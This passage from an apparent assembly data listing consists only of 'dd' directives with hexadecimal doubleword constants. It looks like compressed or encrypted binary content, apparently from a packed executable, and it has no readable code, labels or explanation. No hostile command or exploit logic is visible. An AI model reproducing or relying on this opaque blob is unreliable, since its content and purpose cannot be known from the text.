45C6170h, 8C1CF831h, 2A16A01h dd 87210B79h, 0C2A926D1h, 181CD18Fh, 0CD4F007Fh, 0CF6957B6h dd 0F8399145h, 12CA5C83h, 8C283B85h, 83A40008h, 0A88DF01Ch dd 0CC12D5E8h, 8304863Eh, 806007F5h, 0E92470DEh, 844702Eh dd 53E6F240h, 571F5C50h, 545739BFh, 2D092831h, 1408806h dd 72178A45h, 2E801711h, 517C70A7h, 0D1BF5250h, 98592540h dd 403D98ACh, 229E921h, 9E807801h, 0ADC9AE82h, 9B5C00B4h dd 0D48170C2h, 0F1388FE9h, 896084FFh, 1AA031B5h, 4D85EC01h dd 0CC408F09h, 578A4E0Fh, 176B203Fh, 7602E12Fh, 72C5DC34h dd 0E7574769h, 79FCB8DDh, 66C085DDh, 0A10C41B9h, 0FE1953BDh dd 5C899CC0h, 43C0BE99h, 0B5C353h, 9C65F51Fh, 0D733D67Dh dd 22F00A49h, 8D61260Bh, 0D3B004Ah, 0C4F1D7A0h, 0CD802901h dd 83BA5AECh, 982D2AE4h, 94B4B292h, 0CD004EA0h, 0DFD28ED1h dd 0B9342598h, 0CAA0BCFEh, 7FE6B2B1h, 20CE0381h, 25E92BD9h dd 7D683B4Ch, 8640CB13h, 47042008h, 982776B9h, 0FCC1851Bh dd 93409A52h, 0DF4B72Ah, 6A31AAE1h, 4BD52C92h, 8A08505Bh dd 0ACD93F15h, 5119A510h dd 6C1D26Ah, 2EF3962h, 0C3F6DB8Ch, 0FC764104h, 4DB2C613h dd 56032070h, 0A8B85268h, 0A95E139Ch, 13CA2101h, 17C4323Ah dd 2D08046Ah, 64B73B10h, 24BEDC81h, 2D080141h, 9B680447h dd 79EC18ACh, 0A4F0CD24h, 684F071Eh, 0B82F2661h, 72158908h dd 7D202C86h, 283071B0h, 0C0851856h, 275A675h, 64986841h dd 2AB4DB87h, 583DD0C8h, 0A439684Ch, 20802BE7h, 249D8B41h dd 45BE217h, 29554350h, 15B0C254h, 0DBAB03C7h, 0C436187h dd 85074002h, 809B2F11h, 68026A15h, 0B5652E47h, 11108B25h dd 6845A067h, 0A5F71097h, 16BD1092h, 26A67E6h, 75C2280Ch dd 68609B32h, 0D44EA1B4h, 0FBA0C8Ch, 8B8D34D2h, 84F01726h dd 75001858h, 0A1C89027h, 1F59670h, 1C9B70Fh, 411BC195h dd 2433FC7Fh, 894CF2EFh, 506213EBh, 0BD75C508h, 80F5BDBDh dd 3550FF64h, 800F577Ch, 855992D9h, 0C0B2589h, 0B32390E9h dd 4C6CE4EFh, 0B917A026h, 38E23232h, 29A5026h, 950B5FD2h dd 7BD22EA9h, 698219EEh, 910205Eh, 129A41B5h, 0FF0C804Eh dd 4485570Ah, 8D268B0Dh, 0E986C85Dh, 1A17015Ch, 2ADB33F9h dd 0B9883079h, 0C01E3F0Bh, 6121188Bh, 3F7D0F40h, 8F5164FEh dd 97AD6A6Bh, 0E680434Ch, 0E59F4E8Dh, 9B7CAF01h, 0FFFB8322h dd 3511E896h, 3AF8D6C9h, 0BD3393C1h, 17940AF9h, 4C015F89h dd 81C70C24h, 0FF1599A4h, 0B8E98303h, 0B2041598h, 5C638BC3h dd 84E85530h, 0ED815D40h, 2A96341Eh, 401B8314h, 354004FCh dd 5D0CA989h, 74A74FACh, 0ED051847h, 0B3D8DEFh, 0C12BA9A1h dd 31C208CDh, 8DA7C021h, 56334859h, 23CD148Ch, 185EBD6Ch dd 0D78B1766h, 4F171550h, 792666D4h, 0F608525h, 0BF4E8C80h dd 9065DB27h, 0F8312Ch, 0AFEA613Dh, 70A636EBh, 55296500h dd 8B9A8C42h, 7327FFD9h, 443A4660h, 0B8880AB9h, 55D70004h dd 81640548h, 0BB000DF7h, 8685D465h, 70B640BAh, 33EAFA34h dd 0ED0C5FE8h, 5868FBB8h, 75564D09h, 0C8818E0Ah, 53011129h dd 59E0983Fh, 0D8BA8B0Fh, 0B5176B4Eh, 0A03701F9h, 8ECFD325h dd 21043DC4h, 5908217Dh, 38E4B442h, 0B046FA20h, 0D0E9F817h dd 53E3DD3h, 0F630B200h, 0CEB098BBh, 8524009Bh, 0D1EC2261h dd 1561F3BFh, 13AE9A2h, 31ED2004h, 3571382Eh, 80015BE1h dd 65637845h, 69740370h, 49206E6Fh, 72B0669Bh, 0CA2616Dh dd 656C6D83h, 2C9973CBh, 3A08BE20h, 68749F64h, 6C36E77Ch dd 6977671Eh, 63E767E7h, 73F664A7h, 0EEE7FB28h, 64406D61h dd 2EFBE352h, 0C6D2A3Ah, 16685420h, 0F679EC6Bh, 6F0AFE75h dd 1F4040Dh, 467028C6h, 43627360h, 754C5254h, 0D1B3FF2Bh dd 1E66699Eh, 0D8A06497h, 7970A18Fh, 696C08A8h, 61FE62F2h dd 29647214h, 56424036h, 7352657Dh, 3D7F7F99h, 1ECA2579h dd 63028743h, 0A44E496Bh, 4F70640Fh, 1F8E5455h, 0E86F7250h dd 0B40F851Dh, 60F643Bh, 3D7469E6h, 1E210F87h, 8E502A6Fh dd 1E751834h, 0DDBDC302h, 2069C60Fh, 5690012Dh, 72AF1124h dd 7B0E5018h, 0AC6889AEh, 9507AB25h, 93C8AF21h, 19C91094h dd 0B1079E28h, 8F16322Fh, 210D248Bh, 45216465h, 25070529h dd 0A138A244h, 38AE648Dh, 0B6648DEEh, 0AF460C38h, 531CB2A2h dd 0A6F24AF5h, 25FD531Ch, 571CAAF2h, 0C916F04h, 41D2D84h dd 0FDC8A2E9h, 41924BDh, 5D95653Ah, 5142BF0Dh, 10843341h dd 810429C9h, 0B91CF8C2h, 958D85EBh, 52181BE2h, 0C3402834h dd 893BD41Fh, 932FB5CBh, 400C44CBh, 9D8B8855h, 4CC313A8h dd 652930BCh, 501011A3h, 5479A288h, 9087AE08h, 79B28858h dd 8AA6085Ch, 0DFADC94h, 6811AFADh, 5A49CD41h, 0C8AA0C90h dd 32B264A6h, 0CA219AEh, 0A848A9Eh, 0D01C9898h, 2D1007A4h dd 6500727h, 0D51E60B1h, 406A24C4h, 19BA24CAh, 0BC975B5Ah dd 1D4C0125h, 1B88C14Ah, 750A0021h, 850BFD91h, 25BB1B2Eh dd 1F38100h, 7D608E10h, 0B788585Fh, 59565083h, 46C78188h dd 0BC607340h, 0F124095h, 0D900BD2Eh, 57148B9h, 13FEEFBh dd 0B3878BF8h, 73686104h, 0F28100A8h, 0F584ED5h, 2578B987h dd 0F305C9F8h, 3834FF61h, 76006AB2h, 0FB658A58h, 3100660Eh dd 0ED030293h, 9639EEh, 60D28F6Fh, 0E3F5D381h, 61000FEEh dd 3DBA5E5Ah, 0FC0AEB3Fh, 909F0CEEh, 37437DBh, 7FD18088h dd 39F60E2Dh, 9C78F38Fh, 473ECF77h, 0B5C6001Ch, 665DE9F1h dd 5A0800BAh, 80073489h, 0C6B830C3h, 0ADE88103h, 0C321C9D2h dd 0A9C0C1D6h, 0C8511192h, 43001C1Dh, 91199EFCh, 0A0C90C99h dd 4B9CF8A8h, 5A08BE8Dh, 8F27BB80h, 96793B29h, 2CE64500h dd 72315863h, 0B20900ADh, 4C1211D3h, 0ED003471h, 815594A3h dd 76AD108h, 5809692h, 317300A7h, 2F00F291h, 6998FA95h dd 0C160028Eh, 545FE308h, 0C890F8D0h, 8012073Bh, 73D596CAh dd 2C0ACDh, 61FC67C1h, 0D8D14C76h, 78D7B230h, 605648h dd 80C9CA47h, 0CA7D6B5h, 87C22C00h, 9E467A3Eh, 20286738h dd 3B96311h, 209CDAD2h, 1A2DF23h, 0A44D34Fh, 0A1E980C6h dd 4877D6FAh, 2DF50C0Fh, 9F081740h, 28021C1h, 0C4D46ED6h dd 4F8E0043h, 29F49496h, 5403FD78h, 0FED2C07Ah, 86C80377h dd 2DA906C1h, 320F40A6h, 3F30945Ch, 911537C3h, 38083084h dd 94746D21h, 0A5E2FA00h, 579B2E27h, 4DD20A9Dh, 898CC08h dd 0C0862517h, 78395895h, 34F85288h, 0FC94621Ch, 3B113CA3h dd 947A6B00h, 0BC69CAEEh, 1926AC33h, 8298F8CCh, 3483005Fh dd 0E619FBB8h, 0C76012ACh, 36EF9120h, 506EEEE7h, 3D5B24Fh dd 6B665B3Ch, 991CCAD8h, 2AE00C88h, 0F89C011Ah, 5080F06Dh dd 3308E9h, 4A5EEF3Bh, 52C54E45h, 0BB085566h, 43150021h dd 90D2FFEFh, 24900380h, 0EB2EE114h, 1EE200E4h, 0D9402C0Bh dd 20910105h, 2F2386D2h, 0CA41A8C0h, 0B7D308C2h, 38B1DE16h dd 3C03B880h, 6EB7174h, 3F6021C0h, 7FAEFA9h, 652A674Ah dd 0DC05301Ah, 0FE0966FDh, 8E1911h, 0C3FF7170h, 0A0EC029Ah dd 4EBF2F72h, 0B8E42045h, 57636A60h, 5D86C800h, 0F0B9A752h dd 8E2A0C30h, 0D3C119C2h, 0B4F99118h, 3E641BF8h, 0D4D4E84Ah dd 0ED40008Ch, 4FBD67BBh, 0BF3FE3D5h, 0F1A88AECh, 465EB46Ch dd 639900BEh, 7D0A452Dh, 902A01CEh, 328D1924h, 0AC4843D6h dd 3C3081D6h, 59D55042h, 1955004Ch, 0AF9EAAEAh, 218D704h dd 0E881ADA3h, 0AB41C0C8h, 0A96C7C7Dh, 1273012h, 0F921601Ch dd 0F9C183Eh, 638B2E8Ch, 0CEB5F63h, 6CD8A900h, 1CE01D56h dd 207600CDh, 0D04E5E1Ah, 40985073h, 0A1B00A30h, 927FCBh dd 614A4653h, 144C6789h, 0DCDD3F02h, 40110D27h, 7C77E8E8h dd 2B61CE9Bh, 16EB7083h, 78F11100h, 668CFA06h, 94D719A5h dd 50F7086Eh, 66154D8h, 7063C000h, 0A802EBC2h, 0F990A4B5h dd 598F7210h, 0BD264B00h, 622F39Ch, 0CF803F5h, 0FF2E7B3Fh dd 54A021BBh, 58C010D9h, 0D280DC02h, 47E9360Fh, 96189166h dd 0C76118AFh, 0D1E60270h, 3C89C005h, 0E87BA0A1h, 847980BFh dd 0BDE22B58h, 0CA350013h, 69AF3098h, 483A6328h, 0B7DC8678h dd 46F8726Eh, 6087774h, 0C4868CFEh, 7D4840FBh, 1A04006h dd 0A66D46EEh, 0D14C6B7Ah, 0BC52D070h, 68E5F800h, 9F710C94h dd 3024B034h, 66107EAh, 0EE011556h, 9E45A88Ch, 0F4344114h dd 28C7589Dh, 1FAF7B11h, 7FC0BA55h, 22D9932Eh, 0A9E8C0C5h dd 2AF45E43h, 704ECB00h dd 7CA1579h, 0FBF50E13h, 560AF39h, 0D3CB2B0Bh, 713B250Ah dd 18782004h, 5CA18C10h, 3C781802h, 6CA13C94h, 947051C1h dd 552D23C0h, 7810C0CCh, 1DC18EBh, 70A0E67Ah, 63FDDAC0h dd 303EF224h, 0B34C0968h, 8E468004h, 0EE674350h, 0C721033Dh dd 0D8CD3976h, 0BAA3F0E3h, 4D32929h, 0B225AC70h, 5072490Ch dd 0D2E94D0Ch, 941FFE21h, 0D4E69905h, 15956004h, 0F11F7887h dd 0C8F0340Ch, 50DF1A48h, 92871D9h, 941FD802h, 73C050D2h dd 0DAE7EF34h, 0D84F21C0h, 4CD8380h, 0D2EA9107h, 0ED5481A1h dd 0A9398C0Eh, 78914137h, 1801600Ah, 829CD81Ch, 4B2338C3h dd 0C35100EAh, 35B1F9F1h, 601CE1B9h, 6BC0D672h, 0C64CC94Fh dd 21D114CDh, 0F96AC45h, 0A198D74Ch, 0D849562Eh, 3A870068h dd 0AD027CAFh, 52E0DCDAh, 1330005Dh, 7D637C4h, 18CFF230h dd 3A25D070h, 7809C94Eh, 8002A5E9h, 13E3B262h, 96FAC3E0h dd 4009CECh, 0CFA5768Eh, 6078A927h, 3ED509DFh, 8B002D8Ch dd 93AF2EF5h, 0AEC7AE02h, 3430F54Ch, 522DF6FBh, 9B22E0A5h dd 48410737h, 200F9123h, 1B44BEF0h, 0AC13549Ch, 5CAD768Eh dd 4B005C20h, 0B1F70BBBh, 21C11756h, 0BF63ABCAh, 2EE02204h dd 0D1299CC1h, 8322E13Bh, 0C0BA8C18h, 0BB213CC3h, 23E83A12h dd 8D8988A4h, 6408359Dh, 5E007A40h, 64E15D0h, 0C31376EAh dd 82923148h, 8F44F8A6h, 0DAB100FEh, 14A35B56h, 0EA5CBFC1h dd 0A86D8010h, 7AD6D508h, 0CE82065Eh, 4085ADC6h, 56FBF44h dd 4421CCCDh, 0CF9046F6h, 7E4410C3h, 50D67675h, 26A7F72Eh dd 1CCCCB3Eh, 0ADC1B0E7h, 0A0BA5391h, 15741C49h, 0EBC5F72h dd 0E0370276h, 7BE2401h, 0D79CFB1h, 0BE00B909h, 5ED4D651h dd 0B05A0930h, 2467C684h, 82C8AAEh, 2D01CFE8h, 5E792F94h dd 0D731D0h, 9C5B981Fh, 3FACD210h, 96C6C0A8h, 0EEEB9400h dd 276B8BEFh, 95BF2EF7h, 91684440h, 0A2E9AD1Ch, 0E1F08859h dd 946711C0h, 5F8A627h, 452315AAh, 3DD4322Ah, 280AC44Ah dd 8843C160h, 0A5219D39h, 284FC2C4h, 37D0C0C1h, 98A91983h dd 4104F6EAh, 0C9A3AD80h, 132E2080h, 0BA2D0B59h, 0F95647E4h dd 0AF540402h, 5D14B1C9h, 0A0C6F030h, 84448830h, 0F64C8AF8h dd 0C9EA3AFCh, 0A7007A04h, 0A08E72F4h, 19B4CC8h, 0CBA51926h dd 29EA286Bh, 2C110038h, 0E8C4C991h, 1A1C048Ah, 88E24722h dd 68983B04h, 0E1E12885h, 800EA92Bh, 967F44F8h, 0C12CA27Ch dd 9C24E82Ah, 5DAF03C1h, 0B57B245h, 0BA156100h, 0F9E3C494h dd 99312FFh, 0A81C2769h, 63793E60h, 28D314FDh, 0B11098C1h dd 0F4AE8480h, 0CE91819h, 2B0922DAh, 8810121h, 0EC0B1152h dd 0F2301409h, 6111C23Eh, 69C00205h, 77030F37h, 0A6F59546h dd 8EFCAA43h, 18518838h, 1289F0A7h, 0AEF09092h, 688E6903h dd 8E804DBDh, 69FC9899h, 424B185h, 6D6147B1h, 0D23B1340h dd 7220C2E3h, 0C848ECACh, 6504488Bh, 0C2F2F01Dh, 0D556A8C0h dd 0C4E50143h, 72AD8CFDh, 2E786012h, 51A4C9h, 0B0E2D43Ch dd 0A08C0369h, 7ED84CC6h, 51C98979h, 3FBC8690h, 0A3D60631h dd 80F5CA33h, 0DD784A09h, 0A96C8791h, 9C1A0AC7h, 6988D003h dd 0EC1806CAh, 30FD0E43h, 0FA29041Fh, 121DA280h, 0A414AA1Bh dd 7F3F30C0h, 49F01330h, 976A11F0h, 0B11B410h, 0A1184A3Eh dd 7009188Ch, 4C588CA4h, 0D4A5003Ch, 5F2E5697h, 0B4974F5h dd 0D8F09479h, 0F000C02Bh, 98B22C3Fh, 0D7ADCC1Fh, 0BA44B028h dd 0D5D057Eh, 40C63223h, 48AB54F8h, 0A7F8152Eh, 0EEC76E00h dd 8CDB8DD0h, 0BFA42E96h, 9FD4E00h, 4C040AA8h, 0EDD25CF1h dd 4F9C8440h, 5D3AF15h, 0F6E810AEh, 0B9B0D108h, 8529002Bh dd 9BCA186h, 0C101CDCh, 55546812h, 0B518EAF8h, 5D28BC56h dd 8DF8984h, 0C14844E8h, 8A542284h, 481D0B20h, 30006BB7h dd 7776E5F2h, 0A100A94Bh, 49BF5408h, 838C32h, 0B1DB9695h dd 6C563113h, 0EBBE1700h, 0B96469B5h, 2CF000E3h, 16791862h dd 8C009CC5h, 2EDCC62Bh, 0D0FCA1h, 92C423CEh, 0D6ABE790h dd 0A62BFE03h, 0F364605Eh, 482D808Fh, 0E01500D8h, 2008CDEDh dd 4E003EC4h, 9254D182h, 473A5Bh, 0D6AC6FE7h, 0CE86B1FCh dd 0A5B3080Eh, 83AD0015h, 7C0441B4h, 0C4880087h, 2C4D894Ah dd 0A000485Ch, 53F8E965h, 0B94425h, 8ABB93DFh, 2B325E51h dd 0D26FF90Ah, 2000DA47h, 0E9980109h, 78AF004Ch, 491B5F8Dh dd 763C5A7Fh, 81BDB875h, 14921DBEh, 9F201F97h, 6690004Bh dd 89F47AB8h, 1300A8E6h, 0D8CF854Eh, 0A718CBEh, 2E3944CEh dd 18C200ECh, 0C388FB20h, 9D45D700h, 0E6219B72h, 66324CFFh dd 0A4DEA200h, 0F7BD0B36h, 10C3D80Eh, 7A003202h, 0E2603BCBh dd 69840087h, 93D424FBh, 1612C848h, 3A007455h, 27362639h dd 6FD8057Ch, 2E5C89h, 0C9729C98h, 1D021747h, 55EA56A6h dd 0A8C0804Ch, 1FC18360h, 8EB565E5h, 714046DCh, 0AB4AC0C8h dd 846A8500h, 0B925CDC1h, 0B70E0014h, 30E87E51h, 5AE65FC8h dd 0F8A2B500h, 920DD670h, 32B288Fh, 37EB00D8h, 0D0E31AF7h dd 5B0F0B3Eh, 80D7B7ECh, 0C20D0C95h, 0A32A001Eh, 3E1DD0F4h dd 2403232Eh, 64630ED3h, 31F9D846h, 0F2E500C6h, 73089D71h dd 0CF3A7540h, 1597009Ah, 0BEC7C864h, 453025C1h, 8767F880h dd 0FD0160DBh, 5784CF02h, 8CD0CEAFh, 41C904ACh, 90DD07DAh dd 0A4987538h, 3B15BE00h, 45AC30Eh, 3D5C9262h, 2F801422h dd 41BF1BABh, 0EA00E468h, 0FF5E6B4Bh, 24237B82h, 8DA4B3AEh dd 403969F0h, 0E76EDD0Ch, 8DA711C7h, 362F770h, 0AB2E0051h dd 0C095090Ah, 4A01B36Ah, 0C63BBA90h, 86E01266h, 1C3898D4h dd 0CF7B81A0h, 0A5C05621h, 0F9F1597Ah, 992FC301h, 65F2BC22h dd 0F4822BF4h, 0FC25001Fh, 39BBCF87h, 891E3499h, 3180E033h dd 96266968h, 0D082484Ch, 0F13E8C0Fh, 39EF1720h, 0A67CFA18h dd 0AE9E3503h, 22D70ADh, 16E846B9h, 4DE0D6B3h, 2F287B33h dd 890FE23Ch, 0C25762FAh, 417C0C3Fh, 49ECCC24h, 1F7F3086h dd 0BEE85D20h, 0A25248C1h, 298F0F24h, 79050ACFh, 3BC000DEh dd 4EAE892h, 0B50C90E4h, 3901D06Eh, 0E8CFACEh, 0DC5AD5E2h dd 50855F60h, 0E900CBDEh, 22796B6h, 788225h, 3A9C3452h dd 7AC62841h, 3C89AC00h, 735EC323h, 0B0A20069h, 7616C5EDh dd 812447EBh, 7A00C830h, 4052E8C2h, 9F779Bh, 0B9434A15h dd 0A11AB71Eh, 0C77C6600h, 45333EDDh, 0BC1000ACh, 435ABA58h dd 934C8397h, 813F3D18h, 1C5DA2DFh, 0C820336Ch, 28EC2Dh dd 0BBA36E73h, 0C9D677DCh, 0CCD28307h, 0CB50E5C4h, 7485BA9Fh dd 5E2F25DFh, 29D86C80h, 3802F20Ah, 0D4CA9E4Ch, 0E29468C2h dd 65780093h, 9AB19931h, 0BC0043CDh, 61E90771h, 7DD9DE6Ch dd 5759097Ah, 0B880E6E3h, 5B397023h, 0F5632500h, 3F7DE740h dd 0DF7C09DAh, 1387742Dh, 5162A14Dh, 4A7C6479h, 0DE924604h dd 490E46Dh, 0CCA385h, 3861DB08h, 5CA983B8h, 12ECB27Eh dd 19AF0E01h, 0B9E777C1h, 8536420h, 0D1E21F8Bh, 0A075840Fh dd 9232C5F3h, 3CBF003Bh, 0B27CCCDh, 67001615h, 0E82A41D7h dd 3D976Dh, 0E2EB2872h, 0B07D6237h, 444EF400h, 4D948E81h dd 0D87110CAh, 0E298017Fh, 9113277Ch, 0A08C5360h, 7687294h dd 782C5952h, 81EE0435h, 0D426C034h, 36001C4Eh, 0E47F5CBAh dd 16C99CB1h, 406733B5h, 0E355B750h, 0FA008D4Ch, 0F35EA930h dd 0AD7247h, 291FB3BAh dd 0DB384F32h, 4C69023Ch, 3698009Fh, 0C5158497h, 554E1D52h dd 0EF513348h, 6B3D7BB8h, 0CC69180Fh, 0C4CB6330h, 0AD211D6Dh dd 48FC0ECh, 2DEE4E41h, 0A23B3D00h, 42CD83AEh, 0B56000C7h dd 67675EFh, 706EB732h, 0E104C0D1h, 5C8B4022h, 0CF001783h dd 74FA659Ch, 7000A942h, 7CC8243Eh, 0C72159h, 7F4ADE54h dd 6C74943Fh, 335B6200h, 0CE67BA4Fh, 4CBB01C6h, 9DCB459Fh dd 0ACA441D8h, 0ABC57088h, 0F6F5D101h, 22E5E66Ah, 0E5531E0h dd 5F9DDD1Ch, 863FED80h, 911D2101h, 8000D675h, 0ACBCFE58h dd 13A30053h, 72CF98F4h, 5E00E86Ch, 8FD1AF14h, 7ED0A96h dd 2C8E930Dh, 0ECD4B00Ch, 0E7008838h, 5FBAE67Bh, 2EB5796h dd 6D9716CCh, 0BCC0703Ch, 0A60B1F9h, 0D0A27130h, 6FF70361h dd 172E15F5h, 0C64E07E8h, 3E54C31Eh, 39BE6DC0h, 0F770FB0h dd 47C85F1Fh, 70CEDD40h, 0A7F828FDh, 7A9BC27h, 0F0F0B6C4h dd 0E4376DAh, 9623D12Bh, 0E58F7ADEh, 61A0389Dh, 0BB60B4CAh dd 0E004E76h, 5433121Dh, 0B21BFBh, 77EF5FA7h, 40E818D2h dd 4F6C2000h, 57AD2F0Ah, 448B0DFh, 77D8F931h, 424C80E4h dd 97E087F4h, 65AF7900h, 4A8FFB10h, 18692993h, 901100F8h dd 0E0DC8D42h, 7CE33A09h, 0F6DC024Eh, 9F8E2EB9h, 0AFFC4072h dd 2E0D3618h, 541C404Bh, 5A78C9h, 52B6646Bh, 0AC2C99D6h dd 3C89BC28h, 0B0E85525h, 73165DBEh, 3ABC9C67h, 0C0D6D71Ch dd 0AD61CDD9h, 63905BBh, 9BFC80D5h, 0B23913AFh, 0F1B8E1h dd 5943FF4Ch, 621136D1h, 89E37A09h, 48A44037h, 0A8F53D2Fh dd 0D0C85113h, 0D6CBAFA4h, 0A5468A01h, 77EC29FFh, 0B4A91887h dd 57208337h, 4A941120h, 789000DFh, 4DE54C75h, 2CB608BAh dd 4AC50680h, 71324E05h, 38A76209h, 3CB0A938h, 3A84D703h dd 0F9023E8Eh, 89400C8Ch, 84942884h, 279088D4h, 0E875F512h dd 0C10484BCh, 0A006D9F3h, 4052FB0h, 0A105C44Ch, 41B50B5h dd 0B0AFEA84h, 0FE30AC08h, 8D8A18C3h, 31B80Dh, 14E5F1E8h dd 67056AC1h, 0ACC9AF00h, 12DE94F9h, 0ED03289h, 26108D29h dd 10ED8965h, 70F8903Dh, 0B2DB0702h, 0C00DAD39h, 269D9A78h dd 0FA41E007h, 22309C51h, 195E9D6h, 0DC7BDAB4h, 603AA412h dd 0FF007659h, 0C8B09179h, 90540496h, 0BF450178h, 0C786D067h dd 30AFF5F3h, 900FADD0h, 60AA7F83h, 6B012A2Eh, 99725Fh dd 1C3C041Ah, 41BB6137h, 8422B92Ah, 0DDDD7F3Ah, 0BE0900D8h dd 8E39B19Ch, 22E60054h, 1069414Eh, 8200F655h, 666A2FF9h dd 583BA339h, 7B071496h, 0FF5765DFh, 172D4581h, 354CD495h dd 0DD3861C7h, 3FBA8148h, 70E7ECB3h, 0C400C505h, 8EE1F8BCh dd 5BB828h, 3E7B48F4h, 224468Bh, 0D8A24B0Ah, 0B6917490h dd 7F749300h, 0BEB4A4CAh, 0FAAE2616h, 82C0201Fh, 2E49EF96h dd 16F0230h, 817664E8h, 3CAAE140h, 0C000BC7Eh, 57CC70Ch dd 6998B8h, 0A31BDA63h, 4A401996h, 0FFBBAB01h, 18C0DC94h dd 63801880h, 0CBD27DC1h, 51110C0h, 0D93297h, 3F7C7550h dd 0B8A12637h, 5715F106h, 3B281146h, 0E72E405h, 7AA9B4E8h dd 204F01E0h, 0F400C23Eh, 88946870h, 51A7EE2h, 62EE2CE5h dd 65388045h, 0D40049CCh, 0A9A5945Eh, 1E7F3633h, 26EB29F6h dd 0E44480A8h, 0F8A29F13h, 0E5B6FB13h, 0BF765000h, 70EFDD5h dd 1311188h, 0E1290373h, 62E5FBA0h, 172A8B00h, 0C09644FCh dd 912000A0h, 2C85E761h, 0A91DA2A6h, 0BF406F6Eh, 0D2B811F1h dd 0EB980088h, 96DA70B9h, 0D404B69Bh, 4C2756E4h, 410CB0h dd 1737F16Ah, 0FF7582Dh, 519AF400h, 29E378E5h, 1C4C7FADh dd 0C0E934D6h, 81B3CD62h, 5D0017B5h, 9AB00431h, 1778FCB8h dd 5A217Fh, 0D4C990B4h, 0F6E81023h, 4449FA00h, 25A5D1F2h dd 52611E9Eh, 27FCCB64h, 2F479602h, 1828B454h, 4DD8493Ch dd 50510FF0h, 0A919410Ah, 10743387h, 0A03F17F3h, 7EC4423Eh dd 0A54085B8h, 0CD74BE81h, 46941E06h, 420DE1Bh, 0C5D79571h dd 86ECC09Ch, 6031C664h, 0F574114Fh, 347A2986h, 0A0060D7h dd 7239F248h, 602799FBh, 2FDC1987h, 8BFECDFEh, 1E03AAEAh dd 63F3E046h, 0BBAFCB3Ah, 0C8200007h, 298C1DC5h, 0C2E22445h dd 347CF712h, 0E276300h, 0FE6EF15h, 0D5906B84h, 36FFBD80h dd 131EB917h, 3BC07859h, 60BE73DDh, 7E9402C5h, 3FAA65C7h dd 0CC1EB160h, 8053D33Bh, 0AB38E63h, 5E15E851h, 99D800B4h dd 6EE02932h, 7F700500h, 59B1CC28h, 3D1C9C3Dh, 0DE4F2480h dd 8ACF511Ch, 39CBC501h, 0E9156F7Dh, 32ABD8h, 77D124B0h dd 0FB3F2259h, 3BE89150h, 0B550E800h, 41B93455h, 80370039h dd 95AF71D9h, 620031C0h, 0C41E86C9h, 46D4B83h, 117D3C18h dd 4F0EC258h, 0AE6A9083h, 16C810D0h, 21A63F00h, 8536ACCBh dd 0EF390FE3h, 0F0D591Bh, 0BC6BF420h, 0BA732A00h, 0F6AE7D5Eh dd 71F10276h, 1990F9DFh, 0BC02660h, 0BD001C7Ah, 0CBD6B317h dd 30ED73B4h, 5101945h, 2009E546h, 8B171BC0h, 0A89B0050h dd 5CAB864Bh, 0A607DCF1h, 0D066AEFCh, 0FF2AD99Ch, 6C16C700h dd 0A7771943h, 0E2F60F0Dh, 0DB800EBCh, 2D07C629h, 91FED605h dd 9000D84Ch, 396D8992h, 0DB7600DEh, 0C2AE55D2h, 0C1169336h dd 0F9DABh, 3A9C96Ch, 0F1EECAFCh, 6A301DD7h, 0D66D5C72h dd 0AB4FAA01h, 20E51427h, 8117D450h, 0A10011F0h, 0A41F1905h dd 0F93E00FCh, 0E45B84A8h, 0F47539CAh, 2593EE00h, 0A807CC4h dd 723B0297h, 8CE474Bh, 19A15840h, 0C19A931Dh, 3BFDAE80h dd 0B25DCBh, 6104BF2Ch, 0D9271B44h, 3F023EF2h, 16B925CEh dd 3058E034h, 6D7B0063h, 0E2115AD0h, 440082E5h, 2BBFB5A6h dd 5664C2h, 6D961036h, 0BC5A479h, 0FDECDA1Fh, 31A3AA80h dd 6305CBh, 62E7B6DEh, 8A23AE1Dh, 0F9C85913h, 2BB92C80h dd 0AA412C78h, 0A59F0102h, 0C8E8877Eh, 707BFC97h, 0CA696E01h dd 0C47AB508h, 7F34D880h, 990A62A5h, 55B07C74h, 34201C24h dd 7205EB09h, 63021D98h, 8029D67Eh, 54584898h, 0CC0570B0h dd 0CA4F08C1h, 9F7830D0h, 1C20480Fh, 0B9D92Ch, 59E82D29h dd 0B4263FBDh, 5F00A41Bh, 230C1AB2h, 17A00024h, 0B798E675h dd 900C852h, 0AB0E3DADh, 58382D11h, 8200419Fh, 848514BAh dd 7E2C15BEh, 12386681h, 0D4A0D25Dh, 96460FD3h, 4781978Ch dd 0D4D1BE64h, 0DA09AD17h, 60F5AF72h, 1F2116Ch, 0E468818Eh dd 0DC7E9548h, 4E00D38Fh, 1425D2C7h, 95E1CF0h, 4917D091h dd 0A7D9A400h, 93037804h, 79D43BD5h, 0E350B8A2h, 460B39F2h dd 0BE1281Ch, 28A0FDC9h, 0B0DD41F8h, 8D3DDA75h, 2CE7AEDFh dd 0F0BC8E00h, 2479A716h, 0C7C1F31h, 0A3C0FBF1h, 374D3077h dd 4ECCC8Ch, 95360ECAh, 0F5A082B3h, 81FEC435h, 0F0C82302h dd 0AE852E3Ch, 6BD0E0C0h, 0A63270h, 698AB5B6h, 7F9449E1h dd 0CC728900h, 1BD4D542h, 0FD303F2h, 7DD7AC16h, 24B1809Dh dd 0B0002379h, 0B95821EBh, 5C5C0654h, 1C047887h, 0BD62E16Eh dd 2ADD00D8h, 0B5A73224h, 0CD96009Eh, 85497A0Dh, 2600139Ch dd 336F00Ch, 272CA3FBh, 40009A34h, 57BD639h, 0D5D0EC00h dd 0B17ADDE2h, 80840090h, 9921B2A7h, 0D2176514h, 2501F932h dd 9540108Ch, 882C428h, 5D0448C5h, 3769C8A0h, 872031D9h dd 0C376C70Dh, 0D7F3AFB6h, 0AE54B10Fh, 3BFEB2Ch, 0A0C74803h dd 3641961h, 69A683Fh, 93FB6DD0h, 0FDE7A790h, 78D11403h dd 357336Bh, 0A54E8C78h dd 0C5A01554h, 67494FDh, 0CF48BCA8h, 86A2F509h, 0F8F840CBh dd 400B108Ch, 64EBC888h, 26C2071Fh, 97467840h, 0A7090015h dd 45121020h, 80074957h, 0CA6EA2DEh, 63BD9B10h, 16C901AFh dd 0A98B2DEDh, 0DFC2102Ah, 30050021h, 72D2A413h, 943DD12Fh dd 706532ECh, 4EB45E7Bh, 5ABBC5A0h, 5F257C8Ah, 6068E46Bh dd 0D4645128h, 0FC03C780h, 721932A6h, 129BEE8h, 9AC97881h dd 808A5B17h, 5F165AC0h, 54AC52h, 0DA012F1Bh, 8140B963h dd 7D79EAE4h, 0D9C09900h, 0EFBC2C91h, 0ACE73E90h, 739A668Fh dd 0B14FCC80h, 6B007B15h, 6078C64Ch, 3EE49102h, 542440ABh dd 45C00200h, 